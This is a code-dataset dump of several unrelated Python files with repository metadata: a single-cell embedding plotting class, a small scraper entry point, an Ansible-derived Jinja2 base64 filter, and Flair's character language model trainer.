umap.UMAP(random_state=42,metric='cosine').fit(self.matrix) x = trans.embedding_[:, 0] y = trans.embedding_[:, 1] pcs = [x,y] print("Finished.") data = {"x":pcs[0],"y":pcs[1],"Cluster": clusters} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y", hue='Cluster', ax=ax,linewidth=0.1,s=13,alpha=1.0) return pcs def plot(self, png=None, pcs=None, method="TSNE", column=None): if column: column_labels = dict(zip(self.context.cells,self.context.metadata[column])) labels = [] for key in self.data.keys(): labels.append(column_labels[key]) else: labels = self.clusters plt.figure(figsize = (8, 8)) ax1 = plt.subplot(1,1,1) pcs = self.plot_reduction(ax1, pcs=pcs, clusters=labels, method=method) plt.xlabel("{}-1".format(method)) plt.ylabel("{}-2".format(method)) ax1.set_xticks([]) ax1.set_yticks([]) if png: plt.savefig(png) plt.close() else: plt.show() return pcs def plot_distance(self, vector, pcs=None): plt.figure(figsize = (8,8)) ax = plt.subplot(1,1, 1) if type(pcs) != numpy.ndarray: pca = TSNE(n_components=2) pcs = pca.fit_transform(self.matrix) pcs = numpy.transpose(pcs) distances = [] dataset_distance = float(cosine_similarity(numpy.array(vector).reshape(1, -1),numpy.array(self.dataset_vector).reshape(1, -1))[0]) for cell_vector in self.matrix: distance = float(cosine_similarity(numpy.array(cell_vector).reshape(1, -1),numpy.array(vector).reshape(1, -1))[0]) distances.append(distance-dataset_distance) data = {"x":pcs[0],"y":pcs[1],"Distance": distances} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y", hue='Distance', ax=ax,linewidth=0.00,s=7,alpha=0.7) return pcs def plot_gene_tsne(self, title, ax, genes, pcs=None): expression = [0 for _ in range(len(list(self.data.keys())))] for gene in genes: for i, cell in enumerate(self.data.keys()): if gene in self.expression[cell]: expression[i] += self.expression[cell][gene] if type(pcs) != numpy.ndarray: pca = TSNE(n_components=2) pcs = pca.fit_transform(self.matrix) pcs = numpy.transpose(pcs) data = {"x":pcs[0],"y":pcs[1],"Gene Expression": expression} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y", hue='Gene Expression', ax=ax,linewidth=0.00,s=7,alpha=0.7) ax.set_title(title,fontsize=16) return pcs def plot_gene_expression(self, genes, pcs=None, png=None): plt.figure(figsize = (8,8)) ax = plt.subplot(1,1, 1) pcs = self.plot_gene_tsne(",".join(genes[:10]), ax, genes, pcs=pcs) ax.set_xticks([]) ax.set_yticks([]) if not png: plt.show() else: plt.savefig(png) plt.close() return pcs def plot_similarity_matrix(self, vectors, column): similarity_matrix = [] plt.figure(figsize = (12, 10)) barcode_to_label = dict(zip(cembed.context.metadata.index, cembed.context.metadata[column])) ctypes = cembed.group_cell_vectors() matrix = [] clusters = list(vectors.keys()) celltypes = list(cytpes.keys()) for cluster, genes in vectors.items(): vector = embed.generate_vector(genes) row = [] for cell in ctypes.keys(): distance = float(cosine_similarity(numpy.array(ctypes[cell]).reshape(1, -1),numpy.array(vector).reshape(1, -1))[0]) row.append() matrix.append(row) matrix = numpy.array(matrix) df = pandas.DataFrame(matrix,index=celltypes,columns=celltypes) sns.clustermap(df,figsize=(17,8)) plt.tight_layout() plt.savefig(os.path.join(output_path,"celltype_similarities_{}.png".format(sample)))

true

f7327fac62add1269af1efbeb3c9b14e1e8be449

92

py

Python

scraper/__main__.py

isareds/Ateco-Codes-Scraper

9b1e714c2e0ebaa9f2a3ca563099bc739c9d7ac5

[ "BSD-2-Clause" ]

null

scraper/__main__.py

isareds/Ateco-Codes-Scraper

9b1e714c2e0ebaa9f2a3ca563099bc739c9d7ac5

[ "BSD-2-Clause" ]

null

scraper/__main__.py

isareds/Ateco-Codes-Scraper

9b1e714c2e0ebaa9f2a3ca563099bc739c9d7ac5

[ "BSD-2-Clause" ]

null

from scraper import scrape def main(): scrape() if __name__ == '__main__': main()

11.5

26

0.630435

from scraper import scrape def main(): scrape() if __name__ == '__main__': main()

true

f7328057087962ad9e6c08863139837e1f659948

5,366

py

Python

docker/files/j2-filters.py

bihealth/irods-docker

7f02be3f027e4606de56a85bc27d05b11bac736c

[ "MIT" ]

null

docker/files/j2-filters.py

bihealth/irods-docker

7f02be3f027e4606de56a85bc27d05b11bac736c

[ "MIT" ]

7

2021-10-08T09:19:12.000Z

2022-03-29T15:22:06.000Z

docker/files/j2-filters.py

bihealth/irods-docker

7f02be3f027e4606de56a85bc27d05b11bac736c

[ "MIT" ]

null

# NOTE: These are taken from the jinja2-ansible-filters package: # NOTE: https://pypi.org/project/jinja2-ansible-filters # NOTE: The installer has a problem in its egg-info preventing a regular pip install. # NOTE: If we do not need the b64encode filter, we can omit this file and the filter setup. # (c) 2012, Jeroen Hoekx <jeroen@hoekx.be> # # This file was ported from Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type import base64 import codecs try: string_types = basestring, integer_types = (int, long) class_types = (type, types.ClassType) text_type = unicode binary_type = str from collections import Sequence except NameError: # Python3.x environment string_types = str integer_types = int class_types = type text_type = str binary_type = bytes try: codecs.lookup_error("surrogateescape") HAS_SURROGATEESCAPE = True except LookupError: HAS_SURROGATEESCAPE = False _COMPOSED_ERROR_HANDLERS = frozenset((None, "surrogate_or_replace", "surrogate_or_strict", "surrogate_then_replace")) def to_bytes(obj, encoding="utf-8", errors=None, nonstring="simplerepr"): if isinstance(obj, binary_type): return obj # We're given a text string # If it has surrogates, we know because it will decode original_errors = errors if errors in _COMPOSED_ERROR_HANDLERS: if HAS_SURROGATEESCAPE: errors = "surrogateescape" elif errors == "surrogate_or_strict": errors = "strict" else: errors = "replace" if isinstance(obj, text_type): try: # Try this first as it's the fastest return obj.encode(encoding, errors) except UnicodeEncodeError: if original_errors in (None, "surrogate_then_replace"): # Slow but works return_string = obj.encode("utf-8", "surrogateescape") return_string = return_string.decode("utf-8", "replace") return return_string.encode(encoding, "replace") raise # Note: We do these last even though we have to call to_bytes again on the # value because we're optimizing the common case if nonstring == "simplerepr": try: value = str(obj) except UnicodeError: try: value = repr(obj) except UnicodeError: # Giving up return to_bytes("") elif nonstring == "passthru": return obj elif nonstring == "empty": # python2.4 doesn't have b'' return to_bytes("") elif nonstring == "strict": raise TypeError("obj must be a string type") else: raise TypeError( "Invalid value %s for to_bytes' nonstring parameter" % nonstring) return to_bytes(value, encoding, errors) def to_text(obj, encoding="utf-8", errors=None, nonstring="simplerepr"): if isinstance(obj, text_type): return obj if errors in _COMPOSED_ERROR_HANDLERS: if HAS_SURROGATEESCAPE: errors = "surrogateescape" elif errors == "surrogate_or_strict": errors = "strict" else: errors = "replace" if isinstance(obj, binary_type): # Note: We don't need special handling for surrogate_then_replace # because all bytes will either be made into surrogates or are valid # to decode. return obj.decode(encoding, errors) # Note: We do these last even though we have to call to_text again on the # value because we're optimizing the common case if nonstring == "simplerepr": try: value = str(obj) except UnicodeError: try: value = repr(obj) except UnicodeError: # Giving up return u"" elif nonstring == "passthru": return obj elif nonstring == "empty": return u"" elif nonstring == "strict": raise TypeError("obj must be a string type") else: raise TypeError( "Invalid value %s for to_text's nonstring parameter" % nonstring) return to_text(value, encoding, errors) def b64encode(string, encoding="utf-8"): return to_text(base64.b64encode(to_bytes(string, encoding=encoding, errors="surrogate_or_strict"))) class FilterModule(object): """ Ansible core jinja2 filters """ def filters(self): return { # base 64 "b64encode": b64encode, }

32.521212

91

0.62691

from __future__ import (absolute_import, division, print_function) __metaclass__ = type import base64 import codecs try: string_types = basestring, integer_types = (int, long) class_types = (type, types.ClassType) text_type = unicode binary_type = str from collections import Sequence except NameError: string_types = str integer_types = int class_types = type text_type = str binary_type = bytes try: codecs.lookup_error("surrogateescape") HAS_SURROGATEESCAPE = True except LookupError: HAS_SURROGATEESCAPE = False _COMPOSED_ERROR_HANDLERS = frozenset((None, "surrogate_or_replace", "surrogate_or_strict", "surrogate_then_replace")) def to_bytes(obj, encoding="utf-8", errors=None, nonstring="simplerepr"): if isinstance(obj, binary_type): return obj # If it has surrogates, we know because it will decode original_errors = errors if errors in _COMPOSED_ERROR_HANDLERS: if HAS_SURROGATEESCAPE: errors = "surrogateescape" elif errors == "surrogate_or_strict": errors = "strict" else: errors = "replace" if isinstance(obj, text_type): try: # Try this first as it's the fastest return obj.encode(encoding, errors) except UnicodeEncodeError: if original_errors in (None, "surrogate_then_replace"): return_string = obj.encode("utf-8", "surrogateescape") return_string = return_string.decode("utf-8", "replace") return return_string.encode(encoding, "replace") raise if nonstring == "simplerepr": try: value = str(obj) except UnicodeError: try: value = repr(obj) except UnicodeError: # Giving up return to_bytes("") elif nonstring == "passthru": return obj elif nonstring == "empty": # python2.4 doesn't have b'' return to_bytes("") elif nonstring == "strict": raise TypeError("obj must be a string type") else: raise TypeError( "Invalid value %s for to_bytes' nonstring parameter" % nonstring) return to_bytes(value, encoding, errors) def to_text(obj, encoding="utf-8", errors=None, nonstring="simplerepr"): if isinstance(obj, text_type): return obj if errors in _COMPOSED_ERROR_HANDLERS: if HAS_SURROGATEESCAPE: errors = "surrogateescape" elif errors == "surrogate_or_strict": errors = "strict" else: errors = "replace" if isinstance(obj, binary_type): # Note: We don't need special handling for surrogate_then_replace return obj.decode(encoding, errors) if nonstring == "simplerepr": try: value = str(obj) except UnicodeError: try: value = repr(obj) except UnicodeError: # Giving up return u"" elif nonstring == "passthru": return obj elif nonstring == "empty": return u"" elif nonstring == "strict": raise TypeError("obj must be a string type") else: raise TypeError( "Invalid value %s for to_text's nonstring parameter" % nonstring) return to_text(value, encoding, errors) def b64encode(string, encoding="utf-8"): return to_text(base64.b64encode(to_bytes(string, encoding=encoding, errors="surrogate_or_strict"))) class FilterModule(object): def filters(self): return { "b64encode": b64encode, }

true

f7328081f748a48e3cf5d90ec0297525e64a80a6

15,124

py

Python

flair/trainers/language_model_trainer.py

azawalich/flair

f0101ab25381aefa586ecb688d4f412d5fab5de3

[ "MIT" ]

null

flair/trainers/language_model_trainer.py

azawalich/flair

f0101ab25381aefa586ecb688d4f412d5fab5de3

[ "MIT" ]

null

flair/trainers/language_model_trainer.py

azawalich/flair

f0101ab25381aefa586ecb688d4f412d5fab5de3

[ "MIT" ]

null

import time import datetime import random import sys import logging from pathlib import Path from typing import Union from torch import cuda from torch.utils.data import Dataset, DataLoader from torch.optim.sgd import SGD try: from apex import amp except ImportError: amp = None import flair from flair.data import Dictionary from flair.models import LanguageModel from flair.optim import * from flair.training_utils import add_file_handler log = logging.getLogger('flair') class TextDataset(Dataset): def __init__(self, path, dictionary, expand_vocab=False, forward=True, split_on_char=True, random_case_flip=True, shuffle_lines=True): assert path.exists() self.files = None self.path = path self.dictionary = dictionary self.split_on_char = split_on_char self.forward = forward self.random_case_flip = random_case_flip self.expand_vocab = expand_vocab self.shuffle_lines = shuffle_lines if path.is_dir(): self.files = sorted([f for f in path.iterdir() if f.exists()]) else: self.files = [path] def __len__(self): return len(self.files) def __getitem__(self, index=0): return self.charsplit(self.files[index], self.expand_vocab, self.forward, self.split_on_char, self.random_case_flip) def charsplit(self, path, expand_vocab=False, forward=True, split_on_char=True, random_case_flip=True): 'Tokenizes a text file on character basis.' assert path.exists() lines = open(path, 'r', encoding='utf-8').readlines() log.info( ''.join(['read text file with ', '{}'.format(len(lines)), ' lines'])) if self.shuffle_lines: random.shuffle(lines) log.info('shuffled') tokens = 0 for line in lines: if split_on_char: chars = list(line) else: chars = line.split() tokens += len(chars) if expand_vocab: for char in chars: self.dictionary.add_item(char) ids = torch.zeros(tokens, dtype=torch.long) if forward: token = 0 for line in lines: if random_case_flip: line = self.random_casechange(line) if split_on_char: chars = list(line) else: chars = line.split() for char in chars: if (token >= tokens): break ids[token] = self.dictionary.get_idx_for_item(char) token += 1 else: token = (tokens - 1) for line in lines: if random_case_flip: line = self.random_casechange(line) if split_on_char: chars = list(line) else: chars = line.split() for char in chars: if (token >= tokens): break ids[token] = self.dictionary.get_idx_for_item(char) token -= 1 return ids @staticmethod def random_casechange(line): no = random.randint(0, 99) if (no is 0): line = line.lower() if (no is 1): line = line.upper() return line def tokenize(self, path): 'Tokenizes a text file.' assert path.exists() with open(path, 'r') as f: tokens = 0 for line in f: words = (line.split() + ['<eos>']) tokens += len(words) for word in words: self.dictionary.add_word(word) with open(path, 'r') as f: ids = torch.zeros(tokens, dtype=torch.long, device=flair.device) token = 0 for line in f: words = (line.split() + ['<eos>']) for word in words: ids[token] = self.dictionary.word2idx[word] token += 1 return ids class TextCorpus(object): def __init__(self, path, dictionary, forward=True, character_level=True, random_case_flip=True, shuffle_lines=True): self.dictionary = dictionary self.forward = forward self.split_on_char = character_level self.random_case_flip = random_case_flip self.shuffle_lines = shuffle_lines if (type(path) == str): path = Path(path) self.train = TextDataset((path / 'train'), dictionary, False, self.forward, self.split_on_char, self.random_case_flip, shuffle_lines=self.shuffle_lines) self.valid = TextDataset((path / 'valid.txt'), dictionary, False, self.forward, self.split_on_char, self.random_case_flip, shuffle_lines=False)[0] self.test = TextDataset((path / 'test.txt'), dictionary, False, self.forward, self.split_on_char, self.random_case_flip, shuffle_lines=False)[0] class LanguageModelTrainer(): def __init__(self, model, corpus, optimizer=SGD, test_mode=False, epoch=0, split=0, loss=10000, optimizer_state=None): self.model = model self.optimizer = optimizer self.corpus = corpus self.test_mode = test_mode self.loss_function = torch.nn.CrossEntropyLoss() self.log_interval = 100 self.epoch = epoch self.split = split self.loss = loss self.optimizer_state = optimizer_state def train(self, base_path, sequence_length, learning_rate=20, mini_batch_size=100, anneal_factor=0.25, patience=10, clip=0.25, max_epochs=1000, checkpoint=False, grow_to_sequence_length=0, num_workers=2, use_amp=False, amp_opt_level='O1', **kwargs): if use_amp: if (sys.version_info < (3, 0)): raise RuntimeError( 'Apex currently only supports Python 3. Aborting.') if (amp is None): raise RuntimeError( 'Failed to import apex. Please install apex from https://www.github.com/nvidia/apex to enable mixed-precision training.') if (type(base_path) is str): base_path = Path(base_path) add_file_handler(log, (base_path / 'training.log')) number_of_splits = len(self.corpus.train) val_data = self._batchify(self.corpus.valid, mini_batch_size) base_path.mkdir(parents=True, exist_ok=True) loss_txt = (base_path / 'loss.txt') savefile = (base_path / 'best-lm.pt') try: epoch = self.epoch best_val_loss = self.loss optimizer = self.optimizer( self.model.parameters(), lr=learning_rate, **kwargs) if (self.optimizer_state is not None): optimizer.load_state_dict(self.optimizer_state) if isinstance(optimizer, (AdamW, SGDW)): scheduler = ReduceLRWDOnPlateau( optimizer, verbose=True, factor=anneal_factor, patience=patience) else: scheduler = ReduceLROnPlateau( optimizer, verbose=True, factor=anneal_factor, patience=patience) if use_amp: (self.model, optimizer) = amp.initialize( self.model, optimizer, opt_level=amp_opt_level) training_generator = DataLoader( self.corpus.train, shuffle=False, num_workers=num_workers) for epoch in range(self.epoch, max_epochs): epoch_start_time = time.time() if (epoch > 0): training_generator = DataLoader( self.corpus.train, shuffle=True, num_workers=num_workers) self.model.save_checkpoint( (base_path / ''.join(['epoch_', '{}'.format(epoch), '.pt'])), optimizer, epoch, 0, best_val_loss) for (curr_split, train_slice) in enumerate(training_generator, self.split): if (sequence_length < grow_to_sequence_length): sequence_length += 1 log.info( ''.join(['Sequence length is ', '{}'.format(sequence_length)])) split_start_time = time.time() curr_split += 1 train_data = self._batchify( train_slice.flatten(), mini_batch_size) log.info((('Split %d' % curr_split) + '\t - ({:%H:%M:%S})'.format(datetime.datetime.now()))) for group in optimizer.param_groups: learning_rate = group['lr'] self.model.train() hidden = self.model.init_hidden(mini_batch_size) ntokens = len(self.corpus.dictionary) total_loss = 0 start_time = time.time() for (batch, i) in enumerate(range(0, (train_data.size(0) - 1), sequence_length)): (data, targets) = self._get_batch( train_data, i, sequence_length) if ((not data.is_cuda) and cuda.is_available()): log.info( ('Batch %d is not on CUDA, training will be very slow' % batch)) raise Exception('data isnt on cuda') self.model.zero_grad() optimizer.zero_grad() (output, rnn_output, hidden) = self.model.forward( data, hidden) loss = self.loss_function( output.view((- 1), ntokens), targets) if use_amp: with amp.scale_loss(loss, optimizer) as scaled_loss: scaled_loss.backward() else: loss.backward() torch.nn.utils.clip_grad_norm_( self.model.parameters(), clip) optimizer.step() total_loss += loss.data hidden = self._repackage_hidden(hidden) del loss, output, rnn_output if (((batch % self.log_interval) == 0) and (batch > 0)): cur_loss = (total_loss.item() / self.log_interval) elapsed = (time.time() - start_time) log.info('| split {:3d} /{:3d} | {:5d}/{:5d} batches | ms/batch {:5.2f} | loss {:5.2f} | ppl {:8.2f}'.format( curr_split, number_of_splits, batch, (len(train_data) // sequence_length), ((elapsed * 1000) / self.log_interval), cur_loss, math.exp(cur_loss))) total_loss = 0 start_time = time.time() log.info(('%d seconds for train split %d' % ((time.time() - split_start_time), curr_split))) self.model.eval() val_loss = self.evaluate( val_data, mini_batch_size, sequence_length) scheduler.step(val_loss) log.info('best loss so far {:5.2f}'.format(best_val_loss)) log.info(self.model.generate_text()) if checkpoint: self.model.save_checkpoint( (base_path / 'checkpoint.pt'), optimizer, epoch, curr_split, best_val_loss) if (val_loss < best_val_loss): self.model.best_score = best_val_loss self.model.save(savefile) best_val_loss = val_loss log.info(('-' * 89)) summary = '| end of split {:3d} /{:3d} | epoch {:3d} | time: {:5.2f}s | valid loss {:5.2f} | valid ppl {:8.2f} | learning rate {:3.4f}'.format( curr_split, number_of_splits, (epoch + 1), (time.time() - split_start_time), val_loss, math.exp(val_loss), learning_rate) with open(loss_txt, 'a') as myfile: myfile.write(('%s\n' % summary)) log.info(summary) log.info(('-' * 89)) log.info(('Epoch time: %.2f' % (time.time() - epoch_start_time))) except KeyboardInterrupt: log.info(('-' * 89)) log.info('Exiting from training early') test_data = self._batchify(self.corpus.test, mini_batch_size) test_loss = self.evaluate(test_data, mini_batch_size, sequence_length) summary = 'TEST: valid loss {:5.2f} | valid ppl {:8.2f}'.format( test_loss, math.exp(test_loss)) with open(loss_txt, 'a') as myfile: myfile.write(('%s\n' % summary)) log.info(summary) log.info(('-' * 89)) def evaluate(self, data_source, eval_batch_size, sequence_length): self.model.eval() with torch.no_grad(): total_loss = 0 ntokens = len(self.corpus.dictionary) hidden = self.model.init_hidden(eval_batch_size) for i in range(0, (data_source.size(0) - 1), sequence_length): (data, targets) = self._get_batch( data_source, i, sequence_length) (prediction, rnn_output, hidden) = self.model.forward(data, hidden) output_flat = prediction.view((- 1), ntokens) total_loss += (len(data) * self.loss_function(output_flat, targets).data) hidden = self._repackage_hidden(hidden) return (total_loss.item() / len(data_source)) @staticmethod def _batchify(data, batch_size): nbatch = (data.size(0) // batch_size) data = data.narrow(0, 0, (nbatch * batch_size)) data = data.view(batch_size, (- 1)).t().contiguous() return data @staticmethod def _get_batch(source, i, sequence_length): seq_len = min(sequence_length, ((len(source) - 1) - i)) data = source[i:(i + seq_len)].clone().detach() target = source[(i + 1):((i + 1) + seq_len) ].view((- 1)).clone().detach() data = data.to(flair.device) target = target.to(flair.device) return (data, target) @staticmethod def _repackage_hidden(h): 'Wraps hidden states in new tensors, to detach them from their history.' return tuple((v.clone().detach() for v in h)) @staticmethod def load_from_checkpoint(checkpoint_file, corpus, optimizer=SGD): checkpoint = LanguageModel.load_checkpoint(checkpoint_file) return LanguageModelTrainer(checkpoint['model'], corpus, optimizer, epoch=checkpoint['epoch'], split=checkpoint['split'], loss=checkpoint['loss'], optimizer_state=checkpoint['optimizer_state_dict'])

46.250765

253

0.540796

import time import datetime import random import sys import logging from pathlib import Path from typing import Union from torch import cuda from torch.utils.data import Dataset, DataLoader from torch.optim.sgd import SGD try: from apex import amp except ImportError: amp = None import flair from flair.data import Dictionary from flair.models import LanguageModel from flair.optim import * from flair.training_utils import add_file_handler log = logging.getLogger('flair') class TextDataset(Dataset): def __init__(self, path, dictionary, expand_vocab=False, forward=True, split_on_char=True, random_case_flip=True, shuffle_lines=True): assert path.exists() self.files = None self.path = path self.dictionary = dictionary self.split_on_char = split_on_char self.forward = forward self.random_case_flip = random_case_flip self.expand_vocab = expand_vocab self.shuffle_lines = shuffle_lines if path.is_dir(): self.files = sorted([f for f in path.iterdir() if f.exists()]) else: self.files = [path] def __len__(self): return len(self.files) def __getitem__(self, index=0): return self.charsplit(self.files[index], self.expand_vocab, self.forward, self.split_on_char, self.random_case_flip) def charsplit(self, path, expand_vocab=False, forward=True, split_on_char=True, random_case_flip=True): assert path.exists() lines = open(path, 'r', encoding='utf-8').readlines() log.info( ''.join(['read text file with ', '{}'.format(len(lines)), ' lines'])) if self.shuffle_lines: random.shuffle(lines) log.info('shuffled') tokens = 0 for line in lines: if split_on_char: chars = list(line) else: chars = line.split() tokens += len(chars) if expand_vocab: for char in chars: self.dictionary.add_item(char) ids = torch.zeros(tokens, dtype=torch.long) if forward: token = 0 for line in lines: if random_case_flip: line = self.random_casechange(line) if split_on_char: chars = list(line) else: chars = line.split() for char in chars: if (token >= tokens): break ids[token] = self.dictionary.get_idx_for_item(char) token += 1 else: token = (tokens - 1) for line in lines: if random_case_flip: line = self.random_casechange(line) if split_on_char: chars = list(line) else: chars = line.split() for char in chars: if (token >= tokens): break ids[token] = self.dictionary.get_idx_for_item(char) token -= 1 return ids @staticmethod def random_casechange(line): no = random.randint(0, 99) if (no is 0): line = line.lower() if (no is 1): line = line.upper() return line def tokenize(self, path): assert path.exists() with open(path, 'r') as f: tokens = 0 for line in f: words = (line.split() + ['<eos>']) tokens += len(words) for word in words: self.dictionary.add_word(word) with open(path, 'r') as f: ids = torch.zeros(tokens, dtype=torch.long, device=flair.device) token = 0 for line in f: words = (line.split() + ['<eos>']) for word in words: ids[token] = self.dictionary.word2idx[word] token += 1 return ids class TextCorpus(object): def __init__(self, path, dictionary, forward=True, character_level=True, random_case_flip=True, shuffle_lines=True): self.dictionary = dictionary self.forward = forward self.split_on_char = character_level self.random_case_flip = random_case_flip self.shuffle_lines = shuffle_lines if (type(path) == str): path = Path(path) self.train = TextDataset((path / 'train'), dictionary, False, self.forward, self.split_on_char, self.random_case_flip, shuffle_lines=self.shuffle_lines) self.valid = TextDataset((path / 'valid.txt'), dictionary, False, self.forward, self.split_on_char, self.random_case_flip, shuffle_lines=False)[0] self.test = TextDataset((path / 'test.txt'), dictionary, False, self.forward, self.split_on_char, self.random_case_flip, shuffle_lines=False)[0] class LanguageModelTrainer(): def __init__(self, model, corpus, optimizer=SGD, test_mode=False, epoch=0, split=0, loss=10000, optimizer_state=None): self.model = model self.optimizer = optimizer self.corpus = corpus self.test_mode = test_mode self.loss_function = torch.nn.CrossEntropyLoss() self.log_interval = 100 self.epoch = epoch self.split = split self.loss = loss self.optimizer_state = optimizer_state def train(self, base_path, sequence_length, learning_rate=20, mini_batch_size=100, anneal_factor=0.25, patience=10, clip=0.25, max_epochs=1000, checkpoint=False, grow_to_sequence_length=0, num_workers=2, use_amp=False, amp_opt_level='O1', **kwargs): if use_amp: if (sys.version_info < (3, 0)): raise RuntimeError( 'Apex currently only supports Python 3. Aborting.') if (amp is None): raise RuntimeError( 'Failed to import apex. Please install apex from https://www.github.com/nvidia/apex to enable mixed-precision training.') if (type(base_path) is str): base_path = Path(base_path) add_file_handler(log, (base_path / 'training.log')) number_of_splits = len(self.corpus.train) val_data = self._batchify(self.corpus.valid, mini_batch_size) base_path.mkdir(parents=True, exist_ok=True) loss_txt = (base_path / 'loss.txt') savefile = (base_path / 'best-lm.pt') try: epoch = self.epoch best_val_loss = self.loss optimizer = self.optimizer( self.model.parameters(), lr=learning_rate, **kwargs) if (self.optimizer_state is not None): optimizer.load_state_dict(self.optimizer_state) if isinstance(optimizer, (AdamW, SGDW)): scheduler = ReduceLRWDOnPlateau( optimizer, verbose=True, factor=anneal_factor, patience=patience) else: scheduler = ReduceLROnPlateau( optimizer, verbose=True, factor=anneal_factor, patience=patience) if use_amp: (self.model, optimizer) = amp.initialize( self.model, optimizer, opt_level=amp_opt_level) training_generator = DataLoader( self.corpus.train, shuffle=False, num_workers=num_workers) for epoch in range(self.epoch, max_epochs): epoch_start_time = time.time() if (epoch > 0): training_generator = DataLoader( self.corpus.train, shuffle=True, num_workers=num_workers) self.model.save_checkpoint( (base_path / ''.join(['epoch_', '{}'.format(epoch), '.pt'])), optimizer, epoch, 0, best_val_loss) for (curr_split, train_slice) in enumerate(training_generator, self.split): if (sequence_length < grow_to_sequence_length): sequence_length += 1 log.info( ''.join(['Sequence length is ', '{}'.format(sequence_length)])) split_start_time = time.time() curr_split += 1 train_data = self._batchify( train_slice.flatten(), mini_batch_size) log.info((('Split %d' % curr_split) + '\t - ({:%H:%M:%S})'.format(datetime.datetime.now()))) for group in optimizer.param_groups: learning_rate = group['lr'] self.model.train() hidden = self.model.init_hidden(mini_batch_size) ntokens = len(self.corpus.dictionary) total_loss = 0 start_time = time.time() for (batch, i) in enumerate(range(0, (train_data.size(0) - 1), sequence_length)): (data, targets) = self._get_batch( train_data, i, sequence_length) if ((not data.is_cuda) and cuda.is_available()): log.info( ('Batch %d is not on CUDA, training will be very slow' % batch)) raise Exception('data isnt on cuda') self.model.zero_grad() optimizer.zero_grad() (output, rnn_output, hidden) = self.model.forward( data, hidden) loss = self.loss_function( output.view((- 1), ntokens), targets) if use_amp: with amp.scale_loss(loss, optimizer) as scaled_loss: scaled_loss.backward() else: loss.backward() torch.nn.utils.clip_grad_norm_( self.model.parameters(), clip) optimizer.step() total_loss += loss.data hidden = self._repackage_hidden(hidden) del loss, output, rnn_output if (((batch % self.log_interval) == 0) and (batch > 0)): cur_loss = (total_loss.item() / self.log_interval) elapsed = (time.time() - start_time) log.info('| split {:3d} /{:3d} | {:5d}/{:5d} batches | ms/batch {:5.2f} | loss {:5.2f} | ppl {:8.2f}'.format( curr_split, number_of_splits, batch, (len(train_data) // sequence_length), ((elapsed * 1000) / self.log_interval), cur_loss, math.exp(cur_loss))) total_loss = 0 start_time = time.time() log.info(('%d seconds for train split %d' % ((time.time() - split_start_time), curr_split))) self.model.eval() val_loss = self.evaluate( val_data, mini_batch_size, sequence_length) scheduler.step(val_loss) log.info('best loss so far {:5.2f}'.format(best_val_loss)) log.info(self.model.generate_text()) if checkpoint: self.model.save_checkpoint( (base_path / 'checkpoint.pt'), optimizer, epoch, curr_split, best_val_loss) if (val_loss < best_val_loss): self.model.best_score = best_val_loss self.model.save(savefile) best_val_loss = val_loss log.info(('-' * 89)) summary = '| end of split {:3d} /{:3d} | epoch {:3d} | time: {:5.2f}s | valid loss {:5.2f} | valid ppl {:8.2f} | learning rate {:3.4f}'.format( curr_split, number_of_splits, (epoch + 1), (time.time() - split_start_time), val_loss, math.exp(val_loss), learning_rate) with open(loss_txt, 'a') as myfile: myfile.write(('%s\n' % summary)) log.info(summary) log.info(('-' * 89)) log.info(('Epoch time: %.2f' % (time.time() - epoch_start_time))) except KeyboardInterrupt: log.info(('-' * 89)) log.info('Exiting from training early') test_data = self._batchify(self.corpus.test, mini_batch_size) test_loss = self.evaluate(test_data, mini_batch_size, sequence_length) summary = 'TEST: valid loss {:5.2f} | valid ppl {:8.2f}'.format( test_loss, math.exp(test_loss)) with open(loss_txt, 'a') as myfile: myfile.write(('%s\n' % summary)) log.info(summary) log.info(('-' * 89)) def evaluate(self, data_source, eval_batch_size, sequence_length): self.model.eval() with torch.no_grad(): total_loss = 0 ntokens = len(self.corpus.dictionary) hidden = self.model.init_hidden(eval_batch_size) for i in range(0, (data_source.size(0) - 1), sequence_length): (data, targets) = self._get_batch( data_source, i, sequence_length) (prediction, rnn_output, hidden) = self.model.forward(data, hidden) output_flat = prediction.view((- 1), ntokens) total_loss += (len(data) * self.loss_function(output_flat, targets).data) hidden = self._repackage_hidden(hidden) return (total_loss.item() / len(data_source)) @staticmethod def _batchify(data, batch_size): nbatch = (data.size(0) // batch_size) data = data.narrow(0, 0, (nbatch * batch_size)) data = data.view(batch_size, (- 1)).t().contiguous() return data @staticmethod def _get_batch(source, i, sequence_length): seq_len = min(sequence_length, ((len(source) - 1) - i)) data = source[i:(i + seq_len)].clone().detach() target = source[(i + 1):((i + 1) + seq_len) ].view((- 1)).clone().detach() data = data.to(flair.device) target = target.to(flair.device) return (data, target) @staticmethod def _repackage_hidden(h): return tuple((v.clone().detach() for v in h)) @staticmethod def load_from_checkpoint(checkpoint_file, corpus, optimizer=SGD): checkpoint = LanguageModel.load_checkpoint(checkpoint_file) return LanguageModelTrainer(checkpoint['model'], corpus, optimizer, epoch=checkpoint['epoch'], split=checkpoint['split'], loss=checkpoint['loss'], optimizer_state=checkpoint['optimizer_state_dict'])

true

f732816fcf0c052b8864c70a21b2d1c1057d92db

14,981

py

Python

airflow/providers/google/suite/hooks/sheets.py

IGIT-CN/airflow

a6e5bcd59198afe5716813e84ebc4c59eade532c

[ "Apache-2.0" ]

8

2017-04-20T16:15:44.000Z

2020-10-11T13:44:10.000Z

airflow/providers/google/suite/hooks/sheets.py

IGIT-CN/airflow

a6e5bcd59198afe5716813e84ebc4c59eade532c

[ "Apache-2.0" ]

219

2017-03-15T18:40:16.000Z

2022-02-28T22:52:43.000Z

airflow/providers/google/suite/hooks/sheets.py

IGIT-CN/airflow

a6e5bcd59198afe5716813e84ebc4c59eade532c

[ "Apache-2.0" ]

3

2016-07-14T21:51:10.000Z

2020-10-12T13:26:36.000Z

